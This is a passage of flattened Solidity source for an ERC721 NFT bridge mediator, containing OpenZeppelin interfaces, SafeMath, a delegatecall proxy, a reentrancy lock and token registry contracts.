event TokenExecutionDisabled(address indexed token, bool disabled);
/**
* @dev Checks if specified token was already bridged at least once.
* @param _token address of the token contract.
* @return true, if token was already bridged.
*/
function isTokenRegistered(address _token) public view virtual returns (bool);
/**
* @dev Disabled bridging operations for the particular token.
* @param _token address of the token contract, or address(0) for configuring the global restriction.
* @param _disable true for disabling.
*/
function disableTokenBridging(address _token, bool _disable) external onlyOwner {
require(_token == address(0) || isTokenRegistered(_token));
boolStorage[keccak256(abi.encodePacked("bridgingDisabled", _token))] = _disable;
emit TokenBridgingDisabled(_token, _disable);
}
/**
* @dev Disabled execution operations for the particular token.
* @param _token address of the token contract, or address(0) for configuring the global restriction.
* @param _disable true for disabling.
*/
function disableTokenExecution(address _token, bool _disable) external onlyOwner {
require(_token == address(0) || isTokenRegistered(_token));
boolStorage[keccak256(abi.encodePacked("executionDisabled", _token))] = _disable;
emit TokenExecutionDisabled(_token, _disable);
}
/**
* @dev Tells if the bridging operations for the particular token are allowed.
* @param _token address of the token contract.
* @return true, if bridging operations are allowed.
*/
function isTokenBridgingAllowed(address _token) public view returns (bool) {
bool isDisabled = boolStorage[keccak256(abi.encodePacked("bridgingDisabled", _token))];
if (isDisabled || _token == address(0)) {
return !isDisabled;
}
return isTokenBridgingAllowed(address(0));
}
/**
* @dev Tells if the execution operations for the particular token are allowed.
* @param _token address of the token contract.
* @return true, if execution operations are allowed.
*/
function isTokenExecutionAllowed(address _token) public view returns (bool) {
bool isDisabled = boolStorage[keccak256(abi.encodePacked("executionDisabled", _token))];
if (isDisabled || _token == address(0)) {
return !isDisabled;
}
return isTokenExecutionAllowed(address(0));
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.7.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: contracts/interfaces/IBurnableMintableERC721Token.sol
pragma solidity 0.7.5;
interface IBurnableMintableERC721Token is IERC721 {
function mint(address _to, uint256 _tokeId) external;
function burn(uint256 _tokenId) external;
function setTokenURI(uint256 _tokenId, string calldata _tokenURI) external;
}
// File: contracts/libraries/Bytes.sol
pragma solidity 0.7.5;
/**
* @title Bytes
* @dev Helper methods to transform bytes to other solidity types.
*/
library Bytes {
/**
* @dev Truncate bytes array if its size is more than 20 bytes.
* NOTE: This function does not perform any checks on the received parameter.
* Make sure that the _bytes argument has a correct length, not less than 20 bytes.
* A case when _bytes has length less than 20 will lead to the undefined behaviour,
* since assembly will read data from memory that is not related to the _bytes argument.
* @param _bytes to be converted to address type
* @return addr address included in the firsts 20 bytes of the bytes array in parameter.
*/
function bytesToAddress(bytes memory _bytes) internal pure returns (address addr) {
assembly {
addr := mload(add(_bytes, 20))
}
}
}
// File: contracts/upgradeable_contracts/ReentrancyGuard.sol
pragma solidity 0.7.5;
contract ReentrancyGuard {
function lock() internal view returns (bool res) {
assembly {
// Even though this is not the same as boolStorage[keccak256(abi.encodePacked("lock"))],
// since solidity mapping introduces another level of addressing, such slot change is safe
// for temporary variables which are cleared at the end of the call execution.
res := sload(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92) // keccak256(abi.encodePacked("lock"))
}
}
function setLock(bool _lock) internal {
assembly {
// Even though this is not the same as boolStorage[keccak256(abi.encodePacked("lock"))],
// since solidity mapping introduces another level of addressing, such slot change is safe
// for temporary variables which are cleared at the end of the call execution.
sstore(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92, _lock) // keccak256(abi.encodePacked("lock"))
}
}
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/common/ERC721Relayer.sol
pragma solidity 0.7.5;
/**
* @title ERC721Relayer
* @dev Functionality for bridging multiple tokens to the other side of the bridge.
*/
abstract contract ERC721Relayer is BasicAMBMediator, ReentrancyGuard {
/**
* @dev ERC721 transfer callback function.
* @param _from address of token sender.
* @param _tokenId id of the transferred token.
* @param _data additional transfer data, can be used for passing alternative receiver address.
*/
function onERC721Received(
address,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4) {
if (!lock()) {
bridgeSpecificActionsOnTokenTransfer(msg.sender, _from, chooseReceiver(_from, _data), _tokenId);
}
return msg.sig;
}
/**
* @dev Initiate the bridge operation for some token from msg.sender.
* The user should first call Approve method of the ERC721 token.
* @param token bridged token contract address.
* @param _receiver address that will receive the token on the other network.
* @param _tokenId id of the token to be transferred to the other network.
*/
function relayToken(
IERC721 token,
address _receiver,
uint256 _tokenId
) external {
_relayToken(token, _receiver, _tokenId);
}
/**
* @dev Initiate the bridge operation for some token from msg.sender to msg.sender on the other side.
* The user should first call Approve method of the ERC721 token.
* @param token bridged token contract address.
* @param _tokenId id of token to be transferred to the other network.
*/
function relayToken(IERC721 token, uint256 _tokenId) external {
_relayToken(token, msg.sender, _tokenId);
}
/**
* @dev Validates that the token amount is inside the limits, calls transferFrom to transfer the token to the contract
* and invokes the method to burn/lock the token and unlock/mint the token on the other network.
* The user should first call Approve method of the ERC721 token.
* @param _token bridge token contract address.
* @param _receiver address that will receive the token on the other network.
* @param _tokenId id of the token to be transferred to the other network.
*/
function _relayToken(
IERC721 _token,
address _receiver,
uint256 _tokenId
) internal {
// This lock is to prevent calling bridgeSpecificActionsOnTokenTransfer twice.
// When transferFrom is called, after the transfer, the ERC721 token might call onERC721Received from this contract
// which will call bridgeSpecificActionsOnTokenTransfer.
require(!lock());
setLock(true);
_token.transferFrom(msg.sender, address(this), _tokenId);
setLock(false);
bridgeSpecificActionsOnTokenTransfer(address(_token), msg.sender, _receiver, _tokenId);
}
/**
* @dev Helper function for alternative receiver feature. Chooses the actual receiver out of sender and passed data.
* @param _from address of the token sender.
* @param _data passed data in the transfer message.
* @return recipient address of the receiver on the other side.
*/
function chooseReceiver(address _from, bytes memory _data) internal pure returns (address recipient) {
recipient = _from;
if (_data.length > 0) {
require(_data.length == 20);
recipient = Bytes.bytesToAddress(_data);
}
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _tokenId
) internal virtual;
}
// File: contracts/upgradeable_contracts/VersionableBridge.sol
pragma solidity 0.7.5;
interface VersionableBridge {
function getBridgeInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
);
function getBridgeMode() external pure returns (bytes4);
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/common/NFTOmnibridgeInfo.sol
pragma solidity 0.7.5;
/**
* @title NFTOmnibridgeInfo
* @dev Functionality for versioning NFTOmnibridge mediator.
*/
contract NFTOmnibridgeInfo is VersionableBridge {
event TokensBridgingInitiated(
address indexed token,
address indexed sender,
uint256 tokenId,
bytes32 indexed messageId
);
event TokensBridged(address indexed token, address indexed recipient, uint256 tokenId, bytes32 indexed messageId);
/**
* @dev Tells the bridge interface version that this contract supports.
* @return major value of the version
* @return minor value of the version
* @return patch value of the version
*/
function getBridgeInterfacesVersion()
external
pure
override
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (2, 0, 1);
}
/**
* @dev Tells the bridge mode that this contract supports.
* @return _data 4 bytes representing the bridge mode
*/
function getBridgeMode() external pure override returns (bytes4 _data) {
return 0xca7fc3dc; // bytes4(keccak256(abi.encodePacked("multi-nft-to-nft-amb")))
}
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/native/NativeTokensRegistry.sol
pragma solidity 0.7.5;
/**
* @title NativeTokensRegistry
* @dev Functionality for keeping track of registered native tokens.
*/
contract NativeTokensRegistry is EternalStorage {
uint256 internal constant REGISTERED = 1;
uint256 internal constant REGISTERED_AND_DEPLOYED = 2;
/**
* @dev Checks if for a given native token, the deployment of its bridged alternative was already acknowledged.
* @param _token address of native token contract.
* @return true, if bridged token was already deployed.
*/
function isBridgedTokenDeployAcknowledged(address _token) public view returns (bool) {
return uintStorage[keccak256(abi.encodePacked("tokenRegistered", _token))] == REGISTERED_AND_DEPLOYED;
}
/**
* @dev Checks if a given token is a bridged token that is native to this side of the bridge.
* @param _token address of token contract.
* @return message id of the send message.
*/
function isRegisteredAsNativeToken(address _token) public view returns (bool) {
return uintStorage[keccak256(abi.encodePacked("tokenRegistered", _token))] > 0;
}
/**
* @dev Internal function for marking native token as registered.
* @param _token address of the token contract.
* @param _state registration state.
*/
function _setNativeTokenIsRegistered(address _token, uint256 _state) internal {
if (uintStorage[keccak256(abi.encodePacked("tokenRegistered", _token))] != _state) {
uintStorage[keccak256(abi.encodePacked("tokenRegistered", _token))] = _state;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.7.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity ^0.7.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/native/ERC721Reader.sol
pragma solidity 0.7.5;
/**
* @title ERC721Reader
* @dev Functionality for reading metadata from the ERC721 tokens.
*/
contract ERC721Reader is Ownable {
/**
* @dev Sets the custom metadata for the given ERC721 token.
* Only owner can call this method.
* Useful when original NFT token does not implement neither name() nor symbol() methods.
* @param _token address of the token contract.
* @param _name custom name for the token contract.
* @param _symbol custom symbol for the token contract.
*/
function setCustomMetadata(
address _token,
string calldata _name,
string calldata _symbol
) external onlyOwner {
stringStorage[keccak256(abi.encodePacked("customName", _token))] = _name;
stringStorage[keccak256(abi.encodePacked("customSymbol", _token))] = _symbol;
}
/**
* @dev Internal function for reading ERC721 token name.
* Use custom predefined name in case name() function is not implemented.
* @param _token address of the ERC721 token contract.
* @return name for the token.
*/
function _readName(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(IERC721Metadata.name.selector));
return status ? abi.decode(data, (string)) : stringStorage[keccak256(abi.encodePacked("customName", _token))];
}
/**
* @dev Internal function for reading ERC721 token symbol.
* Use custom predefined symbol in case symbol() function is not implemented.
* @param _token address of the ERC721 token contract.
* @return symbol for the token.
*/
function _readSymbol(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(IERC721Metadata.symbol.selector));
return status ? abi.decode(data, (string)) : stringStorage[keccak256(abi.encodePacked("customSymbol", _token))];
}
/**
* @dev Internal function for reading ERC721 token URI.
* @param _token address of the ERC721 token contract.
* @param _tokenId unique identifier for the token.
* @return token URI for the particular token, if any.
*/
function _readTokenURI(address _token, uint256 _tokenId) internal view returns (string memory) {
(bool status, bytes memory data) =
_token.staticcall(abi.encodeWithSelector(IERC721Metadata.tokenURI.selector, _tokenId));
return status ? abi.decode(data, (string)) : "";
}
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/bridged/BridgedTokensRegistry.sol
pragma solidity 0.7.5;
/**
* @title BridgedTokensRegistry
* @dev Functionality for keeping track of registered bridged token pairs.
*/
contract BridgedTokensRegistry is EternalStorage {
event NewTokenRegistered(address indexed nativeToken, address indexed bridgedToken);
/**
* @dev Retrieves address of the bridged token contract associated with a specific native token contract on the other side.
* @param _nativeToken address of the native token contract on the other side.
* @return address of the deployed bridged token contract.
*/
function bridgedTokenAddress(address _nativeToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))];
}
/**
* @dev Retrieves address of the native token contract associated with a specific bridged token contract.
* @param _bridgedToken address of the created bridged token contract on this side.
* @return address of the native token contract on the other side of the bridge.
*/
function nativeTokenAddress(address _bridgedToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))];
}
/**
* @dev Internal function for updating a pair of addresses for the bridged token.
* @param _nativeToken address of the native token contract on the other side.
* @param _bridgedToken address of the created bridged token contract on this side.
*/
function _setTokenAddressPair(address _nativeToken, address _bridgedToken) internal {
addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))] = _bridgedToken;
addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))] = _nativeToken;
emit NewTokenRegistered(_nativeToken, _bridgedToken);
}
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/bridged/TokenImageStorage.sol
pragma solidity 0.7.5;
/**
* @title TokenImageStorage
* @dev Storage functionality for working with ERC721 image contract.
*/
contract TokenImageStorage is Ownable {
bytes32 internal constant TOKEN_IMAGE_CONTRACT = 0x20b8ca26cc94f39fab299954184cf3a9bd04f69543e4f454fab299f015b8130f; // keccak256(abi.encodePacked("tokenImageContract"))
/**
* @dev Updates address of the used ERC721 token image.
* Only owner can call this method.
* @param _image address of the new token image.
*/
function setTokenImage(address _image) external onlyOwner {
_setTokenImage(_image);
}
/**
* @dev Tells the address of the used ERC721 token image.
* @return address of the used token image.
*/
function tokenImage() public view returns (address) {
return addressStorage[TOKEN_IMAGE_CONTRACT];
}
/**
* @dev Internal function for updating address of the used ERC721 token image.
* @param _image address of the new token image.
*/
function _setTokenImage(address _image) internal {
require(Address.isContract(_image));
addressStorage[TOKEN_IMAGE_CONTRACT] = _image;
}
}
// File: contracts/upgradeability/Proxy.sol
pragma solidity 0.7.5;
/**
* @title Proxy
* @dev Gives the possibility to delegate any call to a foreign implementation.
*/
abstract contract Proxy {
/**
* @dev Tells the address of the implementation where every call will be delegated.
* @return address of the implementation to which it will be delegated
*/
function implementation() public view virtual returns (address);
/**
* @dev Fallback function allowing to perform a delegatecall to the given implementation.
* This function will return whatever the implementation call returns
*/
fallback() external payable {
// solhint-disable-previous-line no-complex-fallback
address _impl = implementation();
require(_impl != address(0));
assembly {
/*
0x40 is the "free memory slot", meaning a pointer to next slot of empty memory. mload(0x40)
loads the data in the free memory slot, so `ptr` is a pointer to the next slot of empty
memory. It's needed because we're going to write the return data of delegatecall to the
free memory slot.
*/
let ptr := mload(0x40)
/*
`calldatacopy` is copy calldatasize bytes from calldata
First argument is the destination to which data is copied(ptr)
Second argument specifies the start position of the copied data.
Since calldata is sort of its own unique location in memory,
0 doesn't refer to 0 in memory or 0 in storage - it just refers to the zeroth byte of calldata.
That's always going to be the zeroth byte of the function selector.
Third argument, calldatasize, specifies how much data will be copied.
calldata is naturally calldatasize bytes long (same thing as msg.data.length)
*/
calldatacopy(ptr, 0, calldatasize())
/*
delegatecall params explained:
gas: the amount of gas to provide for the call. `gas` is an Opcode that gives
us the amount of gas still available to execution
_impl: address of the contract to delegate to
ptr: to pass copied data
calldatasize: loads the size of `bytes memory data`, same as msg.data.length
0, 0: These are for the `out` and `outsize` params. Because the output could be dynamic,
these are set to 0, 0 so the output data will not be written to memory. The output
data will be read using `returndatasize` and `returdatacopy` instead.
result: This will be 0 if the call fails and 1 if it succeeds
*/
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
/*
*/
/*
ptr current points to the value stored at 0x40,
because we assigned it like ptr := mload(0x40).
Because we use 0x40 as a free memory pointer,
we want to make sure that the next time we want to allocate memory,
we aren't overwriting anything important.
So, by adding ptr and returndatasize,
we get a memory location beyond the end of the data we will be copying to ptr.
We place this in at 0x40, and any reads from 0x40 will now read from free memory
*/
mstore(0x40, add(ptr, returndatasize()))
/*
`returndatacopy` is an Opcode that copies the last return data to a slot. `ptr` is the
slot it will copy to, 0 means copy from the beginning of the return data, and size is
the amount of data to copy.
`returndatasize` is an Opcode that gives us the size of the last return data. In this case, that is the size of the data returned from delegatecall
*/
returndatacopy(ptr, 0, returndatasize())
/*
if `result` is 0, revert.
if `result` is 1, return `size` amount of data from `ptr`. This is the data that was
copied to `ptr` from the delegatecall return data
*/
switch result
case 0 {
revert(ptr, returndatasize())
}
default {
return(ptr, returndatasize())
}
}
}
}
// File: contracts/interfaces/IOwnable.sol
pragma solidity 0.7.5;
interface IOwnable {
function owner() external view returns (address);
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/bridged/ERC721TokenProxy.sol
pragma solidity 0.7.5;
/**
* @title ERC721TokenProxy
* @dev Helps to reduces the size of the deployed bytecode for automatically created tokens, by using a proxy contract.
*/
contract ERC721TokenProxy is Proxy {
// storage layout is copied from ERC721BridgeToken.sol
mapping(bytes4 => bool) private _supportedInterfaces;
mapping(address => uint256) private _holderTokens;
//EnumerableMap.UintToAddressMap private _tokenOwners;
uint256[] private _tokenOwnersEntries;
mapping(bytes32 => uint256) private _tokenOwnersIndexes;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
string private name;
string private symbol;
mapping(uint256 => string) private _tokenURIs;
string private _baseURI;
address private bridgeContract;
/**
* @dev Creates an upgradeable token proxy for ERC721BridgeToken.sol, initializes its eternalStorage.
* @param _tokenImage address of the token image used for mirroring all functions.
* @param _name token name.
* @param _symbol token symbol.
* @param _owner address of the owner for this contract.
*/
constructor(
address _tokenImage,
string memory _name,
string memory _symbol,
address _owner
) {
assembly {
// EIP 1967
// bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _tokenImage)
}
name = _name;
symbol = _symbol;
bridgeContract = _owner; // _owner == HomeOmnibridgeNFT/ForeignOmnibridgeNFT mediator
}
/**
* @dev Retrieves the implementation contract address, mirrored token image.
* @return impl token image address.
*/
function implementation() public view override returns (address impl) {
assembly {
impl := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
}
}
/**
* @dev Updates the implementation contract address.
* Only the bridge and bridge owner can call this method.
* @param _implementation address of the new implementation.
*/
function setImplementation(address _implementation) external {
require(msg.sender == bridgeContract || msg.sender == IOwnable(bridgeContract).owner());
require(_implementation != address(0));
require(Address.isContract(_implementation));
assembly {
// EIP 1967
// bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _implementation)
}
}
}
// File: contracts/upgradeable_contracts/omnibridge_nft/components/native/NFTMediatorBalanceStorage.sol
pragma solidity 0.7.5;
/**
* @title NFTMediatorBalanceStorage
* @dev Functionality for storing expected mediator balance for native tokens.
*/
contract NFTMediatorBalanceStorage is EternalStorage {
/**
* @dev Tells if mediator owns the given token. More strict than regular token.ownerOf() check,
* since does not take into account forced tokens.
* @param _token address of token contract.
* @param _tokenId id of the new owned token.
* @return true, if given token is already accounted in the mediator balance.
*/
function mediatorOwns(address _token, uint256 _tokenId) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("mediatorOwns", _token, _tokenId))];
}
/**
* @dev Updates ownership information for the particular token.
* @param _token address of token contract.
* @param _tokenId id of the new owned token.
* @param _owns true, if new token is received. false, when token is released.
*/
function _setMediatorOwns(
address _token,
uint256 _tokenId,
bool _owns
) internal {
boolStorage[keccak256(abi.encodePacked("mediatorOwns", _token, _tokenId))] = _owns;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity ^0.7.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.7.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity ^0.7.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
